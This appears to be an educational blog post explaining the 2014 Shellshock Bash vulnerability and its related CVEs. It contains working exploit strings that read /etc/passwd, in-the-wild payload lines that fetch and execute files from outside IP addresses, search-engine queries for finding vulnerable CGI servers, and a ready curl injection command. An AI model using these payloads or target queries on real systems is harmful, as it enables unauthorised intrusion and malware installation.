📌 Special thanks to Shah kaif — my dedicated learning partner for collaborating on this research and finding.

Back in 2014, there was this crazy bug in Bash that basically let hackers run whatever commands they wanted on servers. People called it Shellshock. Honestly, it was kind of a nightmare for anyone running Linux or Unix because Bash is everywhere. It wasn’t just some random CVE number and it was a real “oh crap, we need to fix this now” moment for sysadmins.

Shellshock refers to a series of vulnerabilities in the GNU Bash (Bourne Again SHell), a command-line shell widely used in Unix-like systems, including Linux and macOS. The primary vulnerability, tracked as CVE-2014–6271, was publicly disclosed on September 24, 2014, by researcher Stéphane Chazelas.

At its core, Bash is more than just a command interpreter — it’s often invoked by web servers (like Apache with CGI scripts), SSH, and DHCP clients to process environment variables. Shellshock exploits a flaw in how Bash handles these variables, specifically when they contain function definitions followed by trailing commands.

In simple terms: Bash doesn’t properly parse certain environment variables, allowing attackers to append malicious code that gets executed automatically. This isn’t just a theoretical issue; it affected millions of systems worldwide, from servers to embedded devices.

To understand the mechanics, let’s look at how Bash processes environment variables. Normally, you can define a function in an environment variable like this:

() { echo "This is a function"; }

But in vulnerable Bash versions (up to 4.3), if you add commands after the function definition, Bash executes them unexpectedly. The bug lies in the parser: it doesn’t stop after the function closes, so any trailing code runs as a command.

Here’s a basic proof-of-concept (PoC) to demonstrate:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

() { :; }; echo ; /bin/bash -c "cat /etc/passwd"

• If the system is vulnerable, this will output “vulnerable” followed by “this is a test”.
• On a patched system, it just echoes “this is a test”.

In some cases, the exploit attempt is clearly visible within the host name HTTP header:

() { :; }; /bin/ping -c 3 109.235.51.42
() { :; }; /usr/bin/env wget hxxp://173.193.139.2/host
() { :; }; wget 37.187.225.119/a; wget 37.187.225.119/action.php > /var/www/
() { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

• CVE-2014–6271: The original vulnerability, enabling arbitrary code execution via crafted environment variables in Bash versions up to 4.3.
• CVE-2014–7169: An incomplete fix for the initial bug, still allowing file creation and potential denial-of-service attacks.
• CVE-2014–7186: A flaw involving redirection handling that could lead to arbitrary code execution in certain scenarios.
• CVE-2014–7187: An off-by-one error in nested loop parsing, potentially exploitable for crashes or code execution.
• CVE-2014–6277: Another parsing issue allowing code injection after function definitions.
• CVE-2014–6278: A related vulnerability enabling command execution through specially crafted function exports.

• port:80 http.component:”apache” “cgi-bin”: Finds HTTP Apache servers with exposed CGI directories.
• http.title:”Apache2 Ubuntu Default Page” “Server: Apache/2.4.49”: Detect Apache servers with default Ubuntu pages and specific server versions
• “Set-Cookie” “cgi” : Scans for servers with cookies and exposed CGI indexes.
• “HTTP/1.1 200 OK” “Server: Apache” “cgi-sys”: Looks for Apache responses with CGI system paths.
• Using Curl: curl -H ‘User-Agent: () { :; }; echo; /bin/cat /etc/passwd’ http://<IP>:<PORT>/cgi-bin/<filename>.sh

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